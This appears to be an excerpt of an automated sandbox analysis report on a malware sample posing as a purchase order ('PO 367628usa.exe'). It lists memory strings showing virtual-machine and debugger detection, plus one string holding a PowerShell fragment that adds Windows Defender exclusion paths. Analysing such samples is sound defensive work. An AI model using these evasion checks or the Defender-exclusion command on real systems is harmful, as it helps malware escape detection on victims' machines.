Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000006.00000000.371286813.0000000008552000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.367358532.00000000063F6000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000006.00000000.371026456.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: explorer.exe, 00000006.00000000.370907968.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: explorer.exe, 00000006.00000000.366615816.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000006.00000000.370907968.00000000082E2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000006.00000000.371059787.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000-;
Source: explorer.exe, 00000006.00000002.589360759.000000000095C000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}G
Source: explorer.exe, 00000006.00000000.366615816.0000000005D50000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\PO 367628usa.exe

Process information queried: ProcessInformation

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\PO 367628usa.exe

Code function: 0_2_00DD16E8 CheckRemoteDebuggerPresent,

Source: C:\Users\user\Desktop\PO 367628usa.exe	Process queried: DebugPort
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process queried: DebugPort
Source: C:\Users\user\Desktop\PO 367628usa.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\raserver.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\PO 367628usa.exe

Code function: 5_2_004088B0 rdtsc

Source: C:\Users\user\Desktop\PO 367628usa.exe

Code function: 5_2_00409B20 LdrLoadDll,

Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FA185 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EC182 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019451BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F61A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F61A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019469A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019849A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019849A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019849A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019849A4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CB1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019541E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E4120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CC962 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9080 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01943884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01943884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F20A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FF0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FF0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FF0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019090AF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195B8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0195B8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C58EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C40E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01947016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01947016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01947016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01994015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01994015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DB02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E0050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01982073 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01991074 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198138A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0197D380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2397 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FB390 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F4BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F4BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F4BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01995BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019453CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019453CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EDBE9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F03E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198131B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01998B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CDB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CF358 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CDB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F3B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F3B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FD294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FD294 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FFAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2ACB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D8A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198AA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E3A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C5210 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C5210 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01904A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01904A2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01954257 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198EA55 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0190927A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0197B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0197B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01998A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FFD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FFD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F35A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019905AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019905AC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01978DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198E539 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0194A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01998D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CAD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01903D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01943540 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01973D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E7D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018EC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D849B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01998CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019814FB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01946CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0199740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0199740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0199740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981C06 mov eax, dword ptr fs:[00000030h]
